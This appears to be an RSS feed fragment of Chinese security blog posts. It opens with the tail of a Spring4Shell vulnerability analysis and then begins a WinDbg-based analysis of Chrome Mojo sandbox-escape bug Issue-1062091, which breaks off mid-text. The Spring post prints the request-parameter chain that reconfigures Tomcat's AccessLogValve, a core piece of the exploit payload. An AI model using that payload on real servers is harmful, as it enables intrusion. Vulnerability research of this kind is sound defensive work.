touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">protected</span> AbstractNestablePropertyAccessor <span style="color: #61aeee;line-height: 26px;">getPropertyAccessorForPropertyPath</span><span style="line-height: 26px;">(String propertyPath)</span> </span>{<br/> <span style="color: #c678dd;line-height: 26px;">int</span> pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);<br/> <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Handle nested properties recursively.</span><br/> <span style="color: #c678dd;line-height: 26px;">if</span> (pos &gt; -<span style="color: #d19a66;line-height: 26px;">1</span>) {<br/>  String nestedProperty = propertyPath.substring(<span style="color: #d19a66;line-height: 26px;">0</span>, pos);<br/>  String nestedPath = propertyPath.substring(pos + <span style="color: #d19a66;line-height: 26px;">1</span>);<br/>  AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);<br/>  <span style="color: #c678dd;line-height: 26px;">return</span> nestedPa.getPropertyAccessorForPropertyPath(nestedPath);<br/> }<br/> <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>  <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">this</span>;<br/> }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后回到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">setPropertyValue</code>中，后续用请求参数键值对<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">pv</code>为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">nestedPa</code>封装的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AccessLogValve</code>对象中相应的属性赋值。结合以上，可以得出Spring这么一个特性：<strong>Spring对象绑定请求参数的路由Mapping，其POJO类所有具有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">setter</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getter</code>属性，也包括属性对应类的属性，都可通过请求参数修改。</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong></strong></p><div style="display: inline;"><p style="text-align: center;"><strong><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=793782ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7cCEcH5rIAzwcPjCMLEuA4NwRiawfDDgEhONbM6TUQLmWDibBMEJZIZPaQ%2F640%3Fwx_fmt%3Dpng"/></strong></p></div><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这时稍加思考会发现，我们的示例类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">User</code>并没有显示的设置一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">class</code>属性，但回看封装了示例类的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BeanWrapperImpl</code>对象，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">nestedPropertyAccessors</code>属性中存在一个封装<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Class</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BeanWrapperImpl</code>对象。<img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="text-align: center;letter-spacing: 0px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=70fe7dfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7czXOG7UUlHHRERrSIfcuC3OBMtZlhRqrV50n8auA2Gl3uSoL2UJzyVw%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那是因为每个对象都继承于<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Object</code>类，都存在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getClass</code>方法，所以<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">class</code>就是每个对象的嵌套属性，可以被这样神不知鬼不觉的被访问到。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">还有细心的同学会发现这个漏洞的利用方式很像Struts2的S2-020，都是用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">class</code>属性最后控制<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AccessLogValve</code>类，但差别是Spring中先通过class获取module，再从module获取classLoader。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy6xjyfmPknoUB5VDt1eZKNCfYw662icCw8KbF7rZkVZUbkYepcQMxQPUYicZyNtZiaY8rqUkkcyup4G/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">classLoader</span>.<span style="color: #e6c07b;line-height: 26px;">resources</span>.<span style="color: #e6c07b;line-height: 26px;">context</span>.<span style="color: #e6c07b;line-height: 26px;">parent</span>.<span style="color: #e6c07b;line-height: 26px;">pipeline</span>.<span style="color: #e6c07b;line-height: 26px;">first</span>.<span style="color: #e6c07b;line-height: 26px;">directory</span> </span>=logs<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">classLoader</span>.<span style="color: #e6c07b;line-height: 26px;">resources</span>.<span style="color: #e6c07b;line-height: 26px;">context</span>.<span style="color: #e6c07b;line-height: 26px;">parent</span>.<span style="color: #e6c07b;line-height: 26px;">pipeline</span>.<span style="color: #e6c07b;line-height: 26px;">first</span>.<span style="color: #e6c07b;line-height: 26px;">prefix</span> </span>=localhost_access_log<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">classLoader</span>.<span style="color: #e6c07b;line-height: 26px;">resources</span>.<span style="color: #e6c07b;line-height: 26px;">context</span>.<span style="color: #e6c07b;line-height: 26px;">parent</span>.<span style="color: #e6c07b;line-height: 26px;">pipeline</span>.<span style="color: #e6c07b;line-height: 26px;">first</span>.<span style="color: #e6c07b;line-height: 26px;">suffix</span> </span>= .txt<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">classLoader</span>.<span style="color: #e6c07b;line-height: 26px;">resources</span>.<span style="color: #e6c07b;line-height: 26px;">context</span>.<span style="color: #e6c07b;line-height: 26px;">parent</span>.<span style="color: #e6c07b;line-height: 26px;">pipeline</span>.<span style="color: #e6c07b;line-height: 26px;">first</span>.<span style="color: #e6c07b;line-height: 26px;">fileDateFormat</span> </span>=.yyyy-mm-dd<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那是因为在CVE-2010-1622后，Spring限制了bean直接从Class实例直接获取classLoader，具体在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults</code>构造方法可以体现。</p><div style="display: inline;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ed559066&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7cgI54Lve6BIfNhhJSEySfG9FMcLZcNzQx3Wibwv8qXQiapuppVZ9piaLJQ%2F640%3Fwx_fmt%3Dpng"/></p></div><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">而在JDK9后出现的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java.lang.Module</code>存在一个ClassLoader属性：<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">loader</code>，又存在它的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getter</code>方法：<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getClassLoader</code>，CVE-2010-1622的修复就这么被轻松绕过了。这也是目前的POC只能攻击JDK9的原因。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以下是具体验证截图：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.26165113182423433" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1502" src="https://wechat2rss.xlab.app/img-proxy/?k=9885ca8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7c4pKVAX0j2qsgdeC7NjkdRBq6hcA7wTeYYnF7eH5ibrGLGT81Xa2q4Sg%2F640%3Fwx_fmt%3Dpng"/></figure></section>



<p><a href="2247484761">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6dd86604&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484761%26idx%3D1%26sn%3D1fb47dc04993991cedce35de6fa390d1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 01 Apr 2022 10:49:00 +0800</pubDate>
    </item>
    <item>
      <title>Chrome Mojo组件的沙箱逃逸漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484748&amp;idx=1&amp;sn=1f5821b5bb377edfc01268df375f2885</link>
      <description>该漏洞为chrom中存在的一个UAF漏洞，此漏洞存在于chromium的Mojo框架中，利用此漏洞可以导致chrome与基于chromium的浏览器沙箱逃逸</description>
      <content:encoded><![CDATA[<p>
原创 <span>Anansi_safe</span> <span>2022-03-25 20:59</span> <span style="display: inline-block;"></span>
</p>

<p>该漏洞为chrom中存在的一个UAF漏洞，此漏洞存在于chromium的Mojo框架中，利用此漏洞可以导致chrome与基于chromium的浏览器沙箱逃逸</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3b3d388b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mNcQicbGCKdU2TOskib3TicicjTkm20WAqcb2bl5nJibwcfr2MN1ic263AghQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span>漏洞说明</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Issue-1062091为chrom中存在的一个UAF漏洞，此漏洞存在于chromium的Mojo框架中，利用此漏洞可以导致chrome与基于chromium的浏览器沙箱逃逸。这个漏洞是在Chrome 81.0.4041.0的提交中引入的。在几周后，这个提交中的漏洞恰好移动到了实验版本命令行标志的后面。但是，这个更改位于Chrome 82.0.4065.0版本中，<strong>因此该漏洞在Chrome稳定版本81的所有桌面平台上都是可以利用的。</strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>环境配置</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一开始打算像调试v8漏洞那样尝试用fetch拉取代码编译带有漏洞的chromium，但是发现chromium源码下载太慢且太大，故直接下载编译好的chromium，地址:vikyd.github.io<img class="rich_pages wxw-img" data-ratio="0.8140770252324038" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="753" src="https://wechat2rss.xlab.app/img-proxy/?k=61b82102&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mDu8E3VQwvXnx5zJM2FoOQXcfiaVcUyq6xae7me9IfTLu6hyY8NqBUoA%2F640%3Fwx_fmt%3Dpng"/>下载时除了chromium本体以外还需要将其pdb符号也一起下载<img class="rich_pages wxw-img" data-ratio="0.23036649214659685" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="382" src="https://wechat2rss.xlab.app/img-proxy/?k=7a0a8f76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mia1yFgwb9FwE9loWTwvEQLTbO3bJaCGtKNRPL6fQW0kHsf3AHZibpCTA%2F640%3Fwx_fmt%3Dpng"/>下载好后直接将pdb符号文件与exe执行文件解压放在一起即可<img class="rich_pages wxw-img" data-ratio="0.22149837133550487" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="614" src="https://wechat2rss.xlab.app/img-proxy/?k=82150ff1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7maX3G72ab4fHc2iahmh0tRttCaKa1TkvQuHyZH207DIejVvJCgJKl42w%2F640%3Fwx_fmt%3Dpng"/>最后用windbg验证是否可以正常查找函数<img class="rich_pages wxw-img" data-ratio="0.11262135922330097" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1030" src="https://wechat2rss.xlab.app/img-proxy/?k=e18458d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mVDImf8foGaUMu3nEBJNlETSMKSbicqWLlIJdaqWexBSz36qDa2ZezZg%2F640%3Fwx_fmt%3Dpng"/>注：下载以上内容都需要代理</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span><span>漏洞分析</span><span></span></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>POC</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于poc目录结构比较复杂，直接给出完整poc下载地址(需要代理)：bugs.chromium.org下载解压后可以得到两个html文件，其中trigger.html为我们需要的poc<img data-ratio="0.3945945945945946" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="185" src="https://wechat2rss.xlab.app/img-proxy/?k=95ecf0aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mwicVuYOzSCMrxTo0of1I2DBkumpBPsuHAgkKyOBXHG6tp6g237oWECg%2F640%3Fwx_fmt%3Dpng"/>然后尝试触发漏洞，根据说明得知chrome默认不会启用mojo，想要启用有两种方法:
一、在命令行启动chromium时加上<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"> --enable-blink-features=MojoJS,MojoJSTest</code>参数。二、利用另一个漏洞去改写当前Frame对象内部的一个变量<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">content::RenderFrameImpl::enabled_bindings_</code>让Frame拥有调用MojoJS的能力，通过以下路径可以得到该变量：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibmTVHZxu8whBmStuUTNPNpSYiclt6ocvspUdrFKR6qFE6iaPWia1XRpn2zffWlWqX13jm89YMwGTsY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">chrome.dll base =&gt; g_frame_map =&gt; RenderFrameImpl(main frame) =&gt; RenderFrameImpl.enabled_bindings_<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">关于改写变量部分具体可查看SCTF202中的0x02 exploit部分，在实际利用漏洞进行攻击时肯定采用第二种方式，而此时仅需要分析利用Issue 1062091漏洞即可，所以先不去过分关心mojo开启的问题，直接采用第一种方法开启mojo。使用windbg进行调试<img class="rich_pages wxw-img" data-ratio="0.28952991452991456" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="936" src="https://wechat2rss.xlab.app/img-proxy/?k=69ca1567&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mU1EicTuUsZjeAFiakbF8aUib6ib2d7hnib20E2Mjq1VpecIe09p4UnZhicvQ%2F640%3Fwx_fmt%3Dpng"/>在调试开始前由于当前工作目录的问题需要将poc代码中以下两处路径进行一些改动<img class="rich_pages wxw-img" data-ratio="0.051916932907348244" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1252" src="https://wechat2rss.xlab.app/img-proxy/?k=273d25c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mUXrMicJ4ol7f4ApTgEEy7qD5tOFOxiaRLkA3icyoOk7ZXoYva1ItvWbNQ%2F640%3Fwx_fmt%3Dpng"/>然后用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">.childdbg 1</code>开启子进程调试<img class="rich_pages wxw-img" data-ratio="0.18382352941176472" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=ebf2bf3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mjGopVrZmVPEvrcznAIBxc6kEIG2K9re1rT5yiaTLgZQGjPRDLNKLRiaw%2F640%3Fwx_fmt%3Dpng"/>之后经过几个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ntdll!LdrpDoDebuggerBreak</code>后就会触发crash<img class="rich_pages wxw-img" data-ratio="0.0842745438748914" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1151" src="https://wechat2rss.xlab.app/img-proxy/?k=e0b3caad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mNMW0QCyOrNz1rIVHibibZiad82JasnLal6bKqY1w8naasqp9VJ83FpctA%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>漏洞分析</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过观察异常信息可判断此处并非漏洞触发的第一现场，使用gflags.exe开启页堆(+hpa)与堆栈跟踪(+ust)并在启动chrome时添加--no-sandbox参数进行调试分析会发现崩溃点会转移到前一句代码<img class="rich_pages wxw-img" data-ratio="0.09528487229862476" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1018" src="https://wechat2rss.xlab.app/img-proxy/?k=e9f51978&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mGh3aPKRlbqHmbtsp8PiablJyrLWlR0dxHoLibo1ZHVYyZWF1Ke0uU1MA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.14905149051490515" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="369" src="https://wechat2rss.xlab.app/img-proxy/?k=00a88a54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mSnYLtCfIKNia2BUgIggzQBYlLDibHBz8CiaZoWqgtnc7BEUqErHvzyibbg%2F640%3Fwx_fmt%3Dpng"/>再结合代码可以判断发生崩溃的地方是在获取render_frame_host_对象虚表<img class="rich_pages wxw-img" data-ratio="0.19215686274509805" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1020" src="https://wechat2rss.xlab.app/img-proxy/?k=e03ab3a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m04AwibrthdibS2Ta2ceWFfkXG8wz445AWrLxnGIdMXsLeYibjQ8gGgiazg%2F640%3Fwx_fmt%3Dpng"/>使用!address查看该render_frame_host_对象内存信息会发现该内存已被释放<img class="rich_pages wxw-img" data-ratio="0.3997113997113997" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="693" src="https://wechat2rss.xlab.app/img-proxy/?k=0fd6d196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m06xlT1VtH5YhQL9Hun2R6iaO7HMbvxicMXMmmrwva2G08B48vza54qhw%2F640%3Fwx_fmt%3Dpng"/>通过观察发现render_frame_host_对象在InstalledAppProviderImpl对象在构造时被初始化<img class="rich_pages wxw-img" data-ratio="0.2138364779874214" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="636" src="https://wechat2rss.xlab.app/img-proxy/?k=d6c907a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mE67pv3Hg4r6Iu3OTcv7eHlxibia5Bf5iam5X2N8RAH0YceeCaFsnwhqHA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.07725788900979326" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="919" src="https://wechat2rss.xlab.app/img-proxy/?k=e53edcf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mNfU4UlaPodrSNtNOWbnkQyWINhOYyxaTrvicVvszib676p55Lg1UibuLg%2F640%3Fwx_fmt%3Dpng"/>对content::InstalledAppProviderImpl::Create函数下断，当执行到以下内容时将会创建InstalledAppProviderImpl对象<img class="rich_pages wxw-img" data-ratio="0.1569620253164557" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="790" 